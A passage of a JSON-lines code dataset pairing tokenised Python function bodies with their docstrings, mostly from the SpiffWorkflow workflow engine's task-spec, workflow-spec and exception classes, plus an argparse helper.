True<EOL><DEDENT>else:<EOL><INDENT>LOG.debug(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (my_task.async_call.ready(),<EOL>my_task.get_name()))<EOL>return False<EOL><DEDENT>", "docstring": "Returns False when successfully fired, True otherwise", "id": "f7751:c0:m4"}
{"signature": "def __init__(self, wf_spec, name, args=None, **kwargs):", "body": "assert wf_spec is not None<EOL>assert name is not None<EOL>TaskSpec.__init__(self, wf_spec, name, **kwargs)<EOL>self.args = args<EOL>", "docstring": "Constructor.\n\n:type  wf_spec: WorkflowSpec\n:param wf_spec: A reference to the workflow specification.\n:type  name: str\n:param name: The name of the task spec.\n:type  args: list\n:param args: args to pass to process (first arg is the command).\n:type  kwargs: dict\n:param kwargs: kwargs to pass-through to TaskSpec initializer.", "id": "f7752:c0:m0"}
{"signature": "def _start(self, my_task, force=False):", "body": "if (not hasattr(my_task, '<STR_LIT>')) or my_task.subprocess is None:<EOL><INDENT>my_task.subprocess = subprocess.Popen(self.args,<EOL>stderr=subprocess.STDOUT,<EOL>stdout=subprocess.PIPE)<EOL><DEDENT>if my_task.subprocess:<EOL><INDENT>my_task.subprocess.poll()<EOL>if my_task.subprocess.returncode is None:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>results = my_task.subprocess.communicate()<EOL>my_task.results = results<EOL>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Returns False when successfully fired, True otherwise", "id": "f7752:c0:m1"}
{"signature": "def __init__(self, wf_spec, name, times, **kwargs):", "body": "if times is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>TaskSpec.__init__(self, wf_spec, name, **kwargs)<EOL>self.times = times<EOL>", "docstring": "Constructor.\n\n:type  wf_spec: WorkflowSpec\n:param wf_spec: A reference to the workflow specification.\n:type  name: str\n:param name: The name of the task spec.\n:type  times: int or :class:`SpiffWorkflow.operators.Term`\n:param times: The number of tasks to create.\n:type  kwargs: dict\n:param kwargs: See :class:`SpiffWorkflow.specs.TaskSpec`.", "id": "f7753:c0:m0"}
{"signature": "def _on_trigger(self, task_spec):", "body": "<EOL>my_task = self._find_my_task(task_spec)<EOL>if my_task._has_state(Task.COMPLETED):<EOL><INDENT>state = Task.READY<EOL><DEDENT>else:<EOL><INDENT>state = Task.FUTURE<EOL><DEDENT>for output in self.outputs:<EOL><INDENT>new_task = my_task._add_child(output, state)<EOL>new_task.triggered = True<EOL>output._predict(new_task)<EOL><DEDENT>", "docstring": "May be called after execute() was already completed to create an\nadditional outbound task.", "id": "f7753:c0:m2"}
{"signature": "def __init__(self, wf_spec, name, success=False, **kwargs):", "body": "TaskSpec.__init__(self, wf_spec, name, **kwargs)<EOL>self.cancel_successfully = success<EOL>", "docstring": "Constructor.\n\n:type  wf_spec: WorkflowSpec\n:param wf_spec: A reference to the workflow specification.\n:type  name: str\n:param name: The name of the task spec.\n:type  success: bool\n:param success: Whether to cancel successfully or unsuccessfully.\n:type  kwargs: dict\n:param kwargs: See :class:`SpiffWorkflow.specs.TaskSpec`.", "id": "f7754:c0:m0"}
{"signature": "def __init__(self, wf_spec, name='<STR_LIT>', **kwargs):", "body": "TaskSpec.__init__(self, wf_spec, name, **kwargs)<EOL>", "docstring": "Constructor. The name of this task is *always* 'Start'.\n\n:type  wf_spec: WorkflowSpec\n:param wf_spec: A reference to the workflow specification.\n:type  kwargs: dict\n:param kwargs: See :class:`SpiffWorkflow.specs.TaskSpec`.", "id": "f7755:c0:m0"}
{"signature": "def _connect_notify(self, task_spec):", "body": "raise WorkflowException(self, '<STR_LIT>')<EOL>", "docstring": "Called by the previous task to let us know that it exists.", "id": "f7755:c0:m1"}
{"signature": "def __init__(self, wf_spec, name, context, choice=None, **kwargs):", "body": "assert wf_spec is not None<EOL>assert name is not None<EOL>assert context is not None<EOL>TaskSpec.__init__(self, wf_spec, name, **kwargs)<EOL>self.context = context<EOL>self.choice = choice is not None and choice or []<EOL>", "docstring": "Constructor.\n\n:type  wf_spec: WorkflowSpec\n:param wf_spec: A reference to the workflow specification.\n:type  name: str\n:param name: The name of the task spec.\n:type  context: str\n:param context: The name of the MultiChoice that is instructed to\n                select the specified outputs.\n:type  choice: list(str)\n:param choice: The list of task spec names that is selected.\n:type  kwargs: dict\n:param kwargs: See :class:`SpiffWorkflow.specs.TaskSpec`.", "id": "f7756:c0:m0"}
{"signature": "def __init__(self,<EOL>wf_spec,<EOL>name,<EOL>split_task,<EOL>**kwargs):", "body": "assert split_task is not None<EOL>Join.__init__(self, wf_spec, name, split_task, **kwargs)<EOL>", "docstring": "Constructor.\n\n:type  wf_spec: :class:`SpiffWorkflow.specs.WorkflowSpec`\n:param wf_spec: A reference to the parent (usually a workflow).\n:type  name: string\n:param name: A name for the task.\n:type  split_task: str\n:param split_task: The name of the task spec that was previously\n                   used to split the branch.\n:type  kwargs: dict\n:param kwargs: See :class:`SpiffWorkflow.specs.Join`.", "id": "f7757:c0:m0"}
{"signature": "def __init__(self,<EOL>wf_spec,<EOL>name,<EOL>file,<EOL>in_assign=None,<EOL>out_assign=None,<EOL>**kwargs):", "body": "assert wf_spec is not None<EOL>assert name is not None<EOL>super(SubWorkflow, self).__init__(wf_spec, name, **kwargs)<EOL>self.file = None<EOL>self.in_assign = in_assign is not None and in_assign or []<EOL>self.out_assign = out_assign is not None and out_assign or []<EOL>if file is not None:<EOL><INDENT>dirname = os.path.dirname(wf_spec.file)<EOL>self.file = os.path.join(dirname, file)<EOL><DEDENT>", "docstring": "Constructor.\n\n:type  wf_spec: WorkflowSpec\n:param wf_spec: A reference to the workflow specification.\n:type  name: str\n:param name: The name of the task spec.\n:type  file: str\n:param file: The name of a file containing a workflow.\n:type  in_assign: list(str)\n:param in_assign: The names of data fields to carry over.\n:type  out_assign: list(str)\n:param out_assign: The names of data fields to carry back.\n:type  kwargs: dict\n:param kwargs: See :class:`SpiffWorkflow.specs.TaskSpec`.", "id": "f7758:c0:m0"}
{"signature": "def __init__(self, wf_spec, name, mutex, **kwargs):", "body": "assert mutex is not None<EOL>TaskSpec.__init__(self, wf_spec, name, **kwargs)<EOL>self.mutex = mutex<EOL>", "docstring": "Constructor.\n\n:type  wf_spec: WorkflowSpec\n:param wf_spec: A reference to the workflow specification.\n:type  name: str\n:param name: The name of the task spec.\n:type  mutex: str\n:param mutex: The name of the mutex that should be acquired.\n:type  kwargs: dict\n:param kwargs: See :class:`SpiffWorkflow.specs.TaskSpec`.", "id": "f7759:c0:m0"}
{"signature": "def __init__(self, wf_spec, name, **kwargs):", "body": "assert wf_spec is not None<EOL>assert name is not None<EOL>self._wf_spec = wf_spec<EOL>self.id = None<EOL>self.name = str(name)<EOL>self.description = kwargs.get('<STR_LIT:description>', '<STR_LIT>')<EOL>self.inputs = []<EOL>self.outputs = []<EOL>self.manual = kwargs.get('<STR_LIT>', False)<EOL>self.internal = False  <EOL>self.data = kwargs.get('<STR_LIT:data>',        {})<EOL>self.defines = kwargs.get('<STR_LIT>',     {})<EOL>self.pre_assign = kwargs.get('<STR_LIT>',  [])<EOL>self.post_assign = kwargs.get('<STR_LIT>', [])<EOL>self.locks = kwargs.get('<STR_LIT>',        [])<EOL>self.lookahead = <NUM_LIT:2>  <EOL>self.entered_event = Event()<EOL>self.reached_event = Event()<EOL>self.ready_event = Event()<EOL>self.completed_event = Event()<EOL>self.cancelled_event = Event()<EOL>self.finished_event = Event()<EOL>self._wf_spec._add_notify(self)<EOL>self.data.update(self.defines)<EOL>assert self.id is not None<EOL>", "docstring": "Constructor.\n\nThe difference between the assignment of a data value using\nthe data argument versus pre_assign and post_assign is that\nchanges made using data are task-local, i.e. they are\nnot visible to other tasks.\nSimilarly, \"defines\" are spec data fields that, once defined, can\nno longer be modified.\n\n:type  wf_spec: WorkflowSpec\n:param wf_spec: A reference to the workflow specification that owns it.\n:type  name: string\n:param name: A name for the task.\n:type  lock: list(str)\n:param lock: A list of mutex names. The mutex is acquired\n             on entry of execute() and released on leave of\n             execute().\n:type  manual: bool\n:param manual: Whether this task requires a manual action to complete.\n:type  data: dict((str, object))\n:param data: name/value pairs\n:type  defines: dict((str, object))\n:param defines: name/value pairs\n:type  pre_assign: list((str, object))\n:param pre_assign: a list of name/value pairs\n:type  post_assign: list((str, object))\n:param post_assign: a list of name/value pairs", "id": "f7760:c0:m0"}
{"signature": "def _connect_notify(self, taskspec):", "body": "self.inputs.append(taskspec)<EOL>", "docstring": "Called by the previous task to let us know that it exists.\n\n:type  taskspec: TaskSpec\n:param taskspec: The task by which this method is executed.", "id": "f7760:c0:m1"}
{"signature": "def ancestors(self):", "body": "results = []<EOL>def recursive_find_ancestors(task, stack):<EOL><INDENT>for input in task.inputs:<EOL><INDENT>if input not in stack:<EOL><INDENT>stack.append(input)<EOL>recursive_find_ancestors(input, stack)<EOL><DEDENT><DEDENT><DEDENT>recursive_find_ancestors(self, results)<EOL>return results<EOL>", "docstring": "Returns list of ancestor task specs based on inputs", "id": "f7760:c0:m2"}
{"signature": "def _get_activated_tasks(self, my_task, destination):", "body": "return my_task.children<EOL>", "docstring": "Returns the list of tasks that were activated in the previous\ncall of execute(). Only returns tasks that point towards the\ndestination task, i.e. those which have destination as a\ndescendant.\n\n:type  my_task: Task\n:param my_task: The associated task in the task tree.\n:type  destination: Task\n:param destination: The destination task.", "id": "f7760:c0:m3"}
{"signature": "def _get_activated_threads(self, my_task):", "body": "return my_task.children<EOL>", "docstring": "Returns the list of threads that were activated in the previous\ncall of execute().\n\n:type  my_task: Task\n:param my_task: The associated task in the task tree.", "id": "f7760:c0:m4"}
{"signature": "def set_data(self, **kwargs):", "body": "for key in kwargs:<EOL><INDENT>if key in self.defines:<EOL><INDENT>msg = \"<STR_LIT>\" % key<EOL>raise WorkflowException(self, msg)<EOL><DEDENT><DEDENT>self.data.update(kwargs)<EOL>", "docstring": "Defines the given data field(s) using the given name/value pairs.", "id": "f7760:c0:m5"}
{"signature": "def get_data(self, name, default=None):", "body": "return self.data.get(name, default)<EOL>", "docstring": "Returns the value of the data field with the given name, or the\ngiven default value if the data was not defined.\n\n:type  name: string\n:param name: The name of the data field.\n:type  default: string\n:param default: Returned if the data field is not defined.", "id": "f7760:c0:m6"}
{"signature": "def connect(self, taskspec):", "body": "self.outputs.append(taskspec)<EOL>taskspec._connect_notify(self)<EOL>", "docstring": "Connect the *following* task to this one. In other words, the\ngiven task is added as an output task.\n\n:type  taskspec: TaskSpec\n:param taskspec: The new output task.", "id": "f7760:c0:m7"}
{"signature": "def follow(self, taskspec):", "body": "taskspec.connect(self)<EOL>", "docstring": "Make this task follow the provided one. In other words, this task is\nadded to the given task outputs.\n\nThis is an alias to connect, just easier to understand when reading\ncode - ex: my_task.follow(the_other_task)\nAdding it after being confused by .connect one times too many!\n\n:type  taskspec: TaskSpec\n:param taskspec: The task to follow.", "id": "f7760:c0:m8"}
{"signature": "def _predict(self, my_task, seen=None, looked_ahead=<NUM_LIT:0>):", "body": "if my_task._is_finished():<EOL><INDENT>return<EOL><DEDENT>if seen is None:<EOL><INDENT>seen = []<EOL><DEDENT>elif self in seen:<EOL><INDENT>return<EOL><DEDENT>if not my_task._is_finished():<EOL><INDENT>self._predict_hook(my_task)<EOL><DEDENT>if not my_task._is_definite():<EOL><INDENT>if looked_ahead + <NUM_LIT:1> >= self.lookahead:<EOL><INDENT>return<EOL><DEDENT>seen.append(self)<EOL><DEDENT>for child in my_task.children:<EOL><INDENT>child.task_spec._predict(child, seen[:], looked_ahead + <NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Updates the branch such that all possible future routes are added.\n\nShould NOT be overwritten! Instead, overwrite _predict_hook().\n\n:type  my_task: Task\n:param my_task: The associated task in the task tree.\n:type  seen: list[taskspec]\n:param seen: A list of already visited tasks.\n:type  looked_ahead: integer\n:param looked_ahead: The depth of the predicted path so far.", "id": "f7760:c0:m10"}
{"signature": "def _update(self, my_task):", "body": "my_task._inherit_data()<EOL>self._update_hook(my_task)<EOL>", "docstring": "Called whenever any event happens that may affect the\nstate of this task in the workflow. For example, if a predecessor\ncompletes it makes sure to call this method so we can react.", "id": "f7760:c0:m12"}
{"signature": "def _update_hook(self, my_task):", "body": "if my_task._is_predicted():<EOL><INDENT>self._predict(my_task)<EOL><DEDENT>LOG.debug(\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % (self.name, my_task.parent.get_name(),<EOL>my_task.parent.get_state_name(),<EOL>my_task.parent._is_finished()))<EOL>if not my_task.parent._is_finished():<EOL><INDENT>return<EOL><DEDENT>self.entered_event.emit(my_task.workflow, my_task)<EOL>my_task._ready()<EOL>", "docstring": "Typically this method should perform the following actions::\n\n    - Update the state of the corresponding task.\n    - Update the predictions for its successors.\n\nReturning non-False will cause the task to go into READY.\nReturning any other value will cause no action.", "id": "f7760:c0:m13"}
{"signature": "def _on_ready(self, my_task):", "body": "assert my_task is not None<EOL>self.test()<EOL>for lock in self.locks:<EOL><INDENT>mutex = my_task.workflow._get_mutex(lock)<EOL>if not mutex.testandset():<EOL><INDENT>return<EOL><DEDENT><DEDENT>for assignment in self.pre_assign:<EOL><INDENT>assignment.assign(my_task, my_task)<EOL><DEDENT>self._on_ready_before_hook(my_task)<EOL>self.reached_event.emit(my_task.workflow, my_task)<EOL>self._on_ready_hook(my_task)<EOL>if self.ready_event.emit(my_task.workflow, my_task):<EOL><INDENT>for assignment in self.post_assign:<EOL><INDENT>assignment.assign(my_task, my_task)<EOL><DEDENT><DEDENT>for lock in self.locks:<EOL><INDENT>mutex = my_task.workflow._get_mutex(lock)<EOL>mutex.unlock()<EOL><DEDENT>self.finished_event.emit(my_task.workflow, my_task)<EOL>", "docstring": "Return True on success, False otherwise.\n\n:type  my_task: Task\n:param my_task: The associated task in the task tree.", "id": "f7760:c0:m14"}
{"signature": "def _on_ready_before_hook(self, my_task):", "body": "pass<EOL>", "docstring": "A hook into _on_ready() that does the task specific work.\n\n:type  my_task: Task\n:param my_task: The associated task in the task tree.", "id": "f7760:c0:m15"}
{"signature": "def _on_ready_hook(self, my_task):", "body": "pass<EOL>", "docstring": "A hook into _on_ready() that does the task specific work.\n\n:type  my_task: Task\n:param my_task: The associated task in the task tree.", "id": "f7760:c0:m16"}
{"signature": "def _on_cancel(self, my_task):", "body": "self.cancelled_event.emit(my_task.workflow, my_task)<EOL>", "docstring": "May be called by another task to cancel the operation before it was\ncompleted.\n\n:type  my_task: Task\n:param my_task: The associated task in the task tree.", "id": "f7760:c0:m17"}
{"signature": "def _on_trigger(self, my_task):", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "May be called by another task to trigger a task-specific\nevent.\n\n:type  my_task: Task\n:param my_task: The associated task in the task tree.\n:rtype:  boolean\n:returns: True on success, False otherwise.", "id": "f7760:c0:m18"}
{"signature": "def _on_complete(self, my_task):", "body": "assert my_task is not None<EOL>if my_task.workflow.debug:<EOL><INDENT>print(\"<STR_LIT>\" % (<EOL>my_task.task_spec.__class__.__name__,<EOL>my_task.get_name(), my_task.get_description()))<EOL><DEDENT>self._on_complete_hook(my_task)<EOL>my_task.workflow._task_completed_notify(my_task)<EOL>if my_task.workflow.debug:<EOL><INDENT>if hasattr(my_task.workflow, \"<STR_LIT>\"):<EOL><INDENT>my_task.workflow.outer_workflow.task_tree.dump()<EOL><DEDENT><DEDENT>self.completed_event.emit(my_task.workflow, my_task)<EOL>return True<EOL>", "docstring": "Return True on success, False otherwise. Should not be overwritten,\noverwrite _on_complete_hook() instead.\n\n:type  my_task: Task\n:param my_task: The associated task in the task tree.\n:rtype:  boolean\n:returns: True on success, False otherwise.", "id": "f7760:c0:m19"}
{"signature": "def _on_complete_hook(self, my_task):", "body": "<EOL>for child in my_task.children:<EOL><INDENT>child.task_spec._update(child)<EOL><DEDENT>", "docstring": "A hook into _on_complete() that does the task specific work.\n\n:type  my_task: Task\n:param my_task: The associated task in the task tree.\n:rtype:  bool\n:returns: True on success, False otherwise.", "id": "f7760:c0:m20"}
{"signature": "@abstractmethod<EOL><INDENT>def serialize(self, serializer, **kwargs):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Serializes the instance using the provided serializer.\n\n.. note::\n\n    The events of a TaskSpec are not serialized. If you\n    use them, make sure to re-connect them once the spec is\n    deserialized.\n\n:type  serializer: :class:`SpiffWorkflow.serializer.base.Serializer`\n:param serializer: The serializer to use.\n:type  kwargs: dict\n:param kwargs: Passed to the serializer.\n:rtype:  object\n:returns: The serialized object.", "id": "f7760:c0:m21"}
{"signature": "@classmethod<EOL><INDENT>def deserialize(cls, serializer, wf_spec, s_state, **kwargs):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Deserializes the instance using the provided serializer.\n\n.. note::\n\n    The events of a TaskSpec are not serialized. If you\n    use them, make sure to re-connect them once the spec is\n    deserialized.\n\n:type  serializer: :class:`SpiffWorkflow.serializer.base.Serializer`\n:param serializer: The serializer to use.\n:type  wf_spec: :class:`SpiffWorkflow.spec.WorkflowSpec`\n:param wf_spec: An instance of the WorkflowSpec.\n:type  s_state: object\n:param s_state: The serialized task specification object.\n:type  kwargs: dict\n:param kwargs: Passed to the serializer.\n:rtype:  TaskSpec\n:returns: The task specification instance.", "id": "f7760:c0:m22"}
{"signature": "def __init__(self, wf_spec, name, **kwargs):", "body": "super(MultiChoice, self).__init__(wf_spec, name, **kwargs)<EOL>self.cond_task_specs = []<EOL>self.choice = None<EOL>", "docstring": "Constructor.\n\n:type  wf_spec: WorkflowSpec\n:param wf_spec: A reference to the workflow specification.\n:type  name: str\n:param name: The name of the task spec.\n:type  kwargs: dict\n:param kwargs: See :class:`SpiffWorkflow.specs.TaskSpec`.", "id": "f7761:c0:m0"}
{"signature": "def connect(self, task_spec):", "body": "return self.connect_if(None, task_spec)<EOL>", "docstring": "Convenience wrapper around connect_if() where condition is set to None.", "id": "f7761:c0:m1"}
{"signature": "def connect_if(self, condition, task_spec):", "body": "assert task_spec is not None<EOL>self.outputs.append(task_spec)<EOL>self.cond_task_specs.append((condition, task_spec.name))<EOL>task_spec._connect_notify(self)<EOL>", "docstring": "Connects a taskspec that is executed if the condition DOES match.\n\ncondition -- a condition (Condition)\ntaskspec -- the conditional task spec", "id": "f7761:c0:m2"}
{"signature": "def _on_trigger(self, my_task, choice):", "body": "self.choice = choice<EOL>", "docstring": "Lets a caller narrow down the choice by using a Choose trigger.", "id": "f7761:c0:m4"}
{"signature": "def _on_complete_hook(self, my_task):", "body": "<EOL>outputs = []<EOL>for condition, output in self.cond_task_specs:<EOL><INDENT>if self.choice is not None and output not in self.choice:<EOL><INDENT>continue<EOL><DEDENT>if condition is None:<EOL><INDENT>outputs.append(self._wf_spec.get_task_spec_from_name(output))<EOL>continue<EOL><DEDENT>if not condition._matches(my_task):<EOL><INDENT>continue<EOL><DEDENT>outputs.append(self._wf_spec.get_task_spec_from_name(output))<EOL><DEDENT>my_task._sync_children(outputs, Task.FUTURE)<EOL>for child in my_task.children:<EOL><INDENT>child.task_spec._update(child)<EOL><DEDENT>", "docstring": "Runs the task. Should not be called directly.\nReturns True if completed, False otherwise.", "id": "f7761:c0:m6"}
{"signature": "def __init__(self, wf_spec, name, mutex, **kwargs):", "body": "assert mutex is not None<EOL>TaskSpec.__init__(self, wf_spec, name, **kwargs)<EOL>self.mutex = mutex<EOL>", "docstring": "Constructor.\n\n:type  wf_spec: WorkflowSpec\n:param wf_spec: A reference to the workflow specification.\n:type  name: str\n:param name: The name of the task spec.\n:type  mutex: str\n:param mutex: The name of the mutex that should be released.\n:type  kwargs: dict\n:param kwargs: See :class:`SpiffWorkflow.specs.TaskSpec`.", "id": "f7762:c0:m0"}
{"signature": "def __init__(self, wf_spec, name, context, **kwargs):", "body": "assert wf_spec is not None<EOL>assert name is not None<EOL>assert context is not None<EOL>TaskSpec.__init__(self, wf_spec, name, **kwargs)<EOL>self.context = context<EOL>", "docstring": "Constructor.\n\n:type  wf_spec: WorkflowSpec\n:param wf_spec: A reference to the workflow specification.\n:type  name: str\n:param name: The name of the task spec.\n:type  context: str\n:param context: The name of the task that needs to complete before\n                this task can execute.\n:type  kwargs: dict\n:param kwargs: See :class:`SpiffWorkflow.specs.TaskSpec`.", "id": "f7764:c0:m0"}
{"signature": "def __init__(self, wf_spec, name='<STR_LIT>', **kwargs):", "body": "TaskSpec.__init__(self, wf_spec, name, **kwargs)<EOL>self.internal = True<EOL>", "docstring": "Constructor. The name of this task is *always* 'ThreadStart'.\n\n:type  wf_spec: WorkflowSpec\n:param wf_spec: A reference to the workflow specification.\n:type  kwargs: dict\n:param kwargs: See :class:`SpiffWorkflow.specs.TaskSpec`.", "id": "f7766:c0:m0"}
{"signature": "def __init__(self,<EOL>wf_spec,<EOL>name,<EOL>times=<NUM_LIT:1>,<EOL>suppress_threadstart_creation=False,<EOL>**kwargs):", "body": "if times is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>TaskSpec.__init__(self, wf_spec, name, **kwargs)<EOL>self.times = times<EOL>if not suppress_threadstart_creation:<EOL><INDENT>self.thread_starter = ThreadStart(wf_spec, **kwargs)<EOL>self.outputs.append(self.thread_starter)<EOL>self.thread_starter._connect_notify(self)<EOL><DEDENT>else:<EOL><INDENT>self.thread_starter = None<EOL><DEDENT>", "docstring": "Constructor.\n\n:type  wf_spec: WorkflowSpec`\n:param wf_spec: A reference to the workflow specification.\n:type  name: string\n:param name: A name for the task.\n:type  times: int or :class:`SpiffWorkflow.operators.Term`\n:param times: The number of tasks to create.\n:type  suppress_threadstart_creation: bool\n:param suppress_threadstart_creation: Don't create a ThreadStart,\n  because the deserializer is about to.\n:type  kwargs: dict\n:param kwargs: See :class:`SpiffWorkflow.specs.TaskSpec`.", "id": "f7767:c0:m0"}
{"signature": "def connect(self, task_spec):", "body": "self.thread_starter.outputs.append(task_spec)<EOL>task_spec._connect_notify(self.thread_starter)<EOL>", "docstring": "Connect the *following* task to this one. In other words, the\ngiven task is added as an output task.\n\ntask -- the task to connect to.", "id": "f7767:c0:m1"}
{"signature": "def _get_activated_tasks(self, my_task, destination):", "body": "task = destination._find_ancestor(self.thread_starter)<EOL>return self.thread_starter._get_activated_tasks(task, destination)<EOL>", "docstring": "Returns the list of tasks that were activated in the previous\ncall of execute(). Only returns tasks that point towards the\ndestination task, i.e. those which have destination as a\ndescendant.\n\nmy_task -- the task of this TaskSpec\ndestination -- the child task", "id": "f7767:c0:m2"}
{"signature": "def _get_activated_threads(self, my_task):", "body": "return my_task.children<EOL>", "docstring": "Returns the list of threads that were activated in the previous\ncall of execute().\n\nmy_task -- the task of this TaskSpec", "id": "f7767:c0:m3"}
{"signature": "def _on_trigger(self, my_task):", "body": "for output in self.outputs:<EOL><INDENT>new_task = my_task.add_child(output, Task.READY)<EOL>new_task.triggered = True<EOL><DEDENT>", "docstring": "May be called after execute() was already completed to create an\nadditional outbound task.", "id": "f7767:c0:m4"}
{"signature": "def __init__(self, wf_spec, name, **kwargs):", "body": "super(ExclusiveChoice, self).__init__(wf_spec, name, **kwargs)<EOL>self.default_task_spec = None<EOL>", "docstring": "Constructor.\n\n:type  wf_spec: WorkflowSpec\n:param wf_spec: A reference to the workflow specification.\n:type  name: str\n:param name: The name of the task spec.\n:type  kwargs: dict\n:param kwargs: See :class:`SpiffWorkflow.specs.TaskSpec`.", "id": "f7768:c0:m0"}
{"signature": "def connect(self, task_spec):", "body": "assert self.default_task_spec is None<EOL>self.outputs.append(task_spec)<EOL>self.default_task_spec = task_spec.name<EOL>task_spec._connect_notify(self)<EOL>", "docstring": "Connects the task spec that is executed if no other condition\nmatches.\n\n:type  task_spec: TaskSpec\n:param task_spec: The following task spec.", "id": "f7768:c0:m1"}
{"signature": "def __init__(self, wf_spec, name, transforms=None, **kwargs):", "body": "assert wf_spec is not None<EOL>assert name is not None<EOL>TaskSpec.__init__(self, wf_spec, name, **kwargs)<EOL>self.transforms = transforms<EOL>", "docstring": "Constructor.\n\n:type  wf_spec: WorkflowSpec\n:param wf_spec: A reference to the workflow specification.\n:type  name: str\n:param name: The name of the task spec.\n:type  transforms: list\n:param transforms: The commands that this task will execute to\n                transform data. The commands will be executed using the\n                python 'exec' function. Accessing inputs and outputs is\n                achieved by referencing the my_task.* and self.*\n                variables'\n:type  kwargs: dict\n:param kwargs: See :class:`SpiffWorkflow.specs.TaskSpec`.", "id": "f7771:c0:m0"}
{"signature": "def __init__(self, name=None, filename=None, nostart=False):", "body": "self.name = name or '<STR_LIT>'<EOL>self.description = '<STR_LIT>'<EOL>self.file = filename<EOL>self.task_specs = dict()<EOL>self.start = None<EOL>if not nostart:<EOL><INDENT>self.start = StartTask(self)<EOL><DEDENT>", "docstring": "Constructor.", "id": "f7772:c0:m0"}
{"signature": "def _add_notify(self, task_spec):", "body": "if task_spec.name in self.task_specs:<EOL><INDENT>raise KeyError('<STR_LIT>' + task_spec.name)<EOL><DEDENT>self.task_specs[task_spec.name] = task_spec<EOL>task_spec.id = len(self.task_specs)<EOL>", "docstring": "Called by a task spec when it was added into the workflow.", "id": "f7772:c0:m1"}
{"signature": "def get_task_spec_from_name(self, name):", "body": "return self.task_specs[name]<EOL>", "docstring": "Returns the task with the given name.\n\n:type  name: str\n:param name: The name of the task spec.\n:rtype:  TaskSpec\n:returns: The task spec with the given name.", "id": "f7772:c0:m2"}
{"signature": "def validate(self):", "body": "results = []<EOL>from ..specs import Join<EOL>def recursive_find_loop(task, history):<EOL><INDENT>current = history[:]<EOL>current.append(task)<EOL>if isinstance(task, Join):<EOL><INDENT>if task in history:<EOL><INDENT>msg = \"<STR_LIT>\" % (<EOL>task.name, '<STR_LIT>'.join([p.name for p in history]),<EOL>task.name)<EOL>raise Exception(msg)<EOL><DEDENT>for predecessor in task.inputs:<EOL><INDENT>recursive_find_loop(predecessor, current)<EOL><DEDENT><DEDENT>for parent in task.inputs:<EOL><INDENT>recursive_find_loop(parent, current)<EOL><DEDENT><DEDENT>for task_id, task in list(self.task_specs.items()):<EOL><INDENT>try:<EOL><INDENT>recursive_find_loop(task, [])<EOL><DEDENT>except Exception as exc:<EOL><INDENT>results.append(exc.__str__())<EOL><DEDENT>if not task.inputs and task.name not in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>if task.outputs:<EOL><INDENT>results.append(\"<STR_LIT>\" %<EOL>task.name)<EOL><DEDENT>else:<EOL><INDENT>LOG.debug(\"<STR_LIT>\" % task.name)<EOL><DEDENT><DEDENT><DEDENT>return results<EOL>", "docstring": "Checks integrity of workflow and reports any problems with it.\n\n        Detects:\n        - loops (tasks that wait on each other in a loop)\n        :returns: empty list if valid, a list of errors if not", "id": "f7772:c0:m3"}
{"signature": "def serialize(self, serializer, **kwargs):", "body": "return serializer.serialize_workflow_spec(self, **kwargs)<EOL>", "docstring": "Serializes the instance using the provided serializer.\n\n:type  serializer: :class:`SpiffWorkflow.serializer.base.Serializer`\n:param serializer: The serializer to use.\n:type  kwargs: dict\n:param kwargs: Passed to the serializer.\n:rtype:  object\n:returns: The serialized object.", "id": "f7772:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>def deserialize(cls, serializer, s_state, **kwargs):<DEDENT>", "body": "return serializer.deserialize_workflow_spec(s_state, **kwargs)<EOL>", "docstring": "Deserializes a WorkflowSpec instance using the provided serializer.\n\n:type  serializer: :class:`SpiffWorkflow.serializer.base.Serializer`\n:param serializer: The serializer to use.\n:type  s_state: object\n:param s_state: The serialized workflow specification object.\n:type  kwargs: dict\n:param kwargs: Passed to the serializer.\n:rtype:  WorkflowSpec\n:returns: The resulting instance.", "id": "f7772:c0:m5"}
{"signature": "def __init__(self, sender, error):", "body": "Exception.__init__(self, '<STR_LIT>' % (sender.name, error))<EOL>self.sender = sender<EOL>", "docstring": "Standard exception class.\n\n:param sender: the task spec that threw the exception\n:type sender: TaskSpec\n:param error: a human readable error message\n:type error: string", "id": "f7773:c0:m0"}
{"signature": "def __init__(self, task, error):", "body": "WorkflowException.__init__(self, task.task_spec, error)<EOL>self.task = task<EOL>", "docstring": "Exception initialization.\n\n:param sender: the task that threw the exception\n:type sender: Task\n:param error: a human readable error message\n:type error: string", "id": "f7773:c1:m0"}
{"signature": "def get_param(self, default=None):", "body": "return self.get_line_value('<STR_LIT>', default)<EOL>", "docstring": "Only applicable in configuration observables.", "id": "f7791:c9:m8"}
{"signature": "def set_param_used(self, param_used):", "body": "self.param_used = param_used<EOL>", "docstring": "Parameter used in execution. Different to get_param.", "id": "f7791:c9:m12"}
{"signature": "def set_default_subparser(self, name, args=None):", "body": "subparser_found = False<EOL>for arg in sys.argv[<NUM_LIT:1>:]:<EOL><INDENT>if arg in ['<STR_LIT>', '<STR_LIT>']:  <EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for x in self._subparsers._actions:<EOL><INDENT>if not isinstance(x, argparse._SubParsersAction):<EOL><INDENT>continue<EOL><DEDENT>for sp_name in x._name_parser_map.keys():<EOL><INDENT>if sp_name in sys.argv[<NUM_LIT:1>:]:<EOL><INDENT>subparser_found = True<EOL><DEDENT><DEDENT><DEDENT>if not subparser_found:<EOL><INDENT>if args is None:<EOL><INDENT>sys.argv.insert(<NUM_LIT:1>, name)<EOL><DEDENT>else:<EOL><INDENT>args.insert(<NUM_LIT:0>, name)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "default subparser selection. Call after setup, just before parse_args()\n    name: is the name of the subparser to call by default\n    args: if set is the argument list handed to parse_args()\n\n    , tested with 2.7, 3.2, 3.3, 3.4\n    it works with 2.6 assuming argparse is installed", "id": "f7800:m1"}
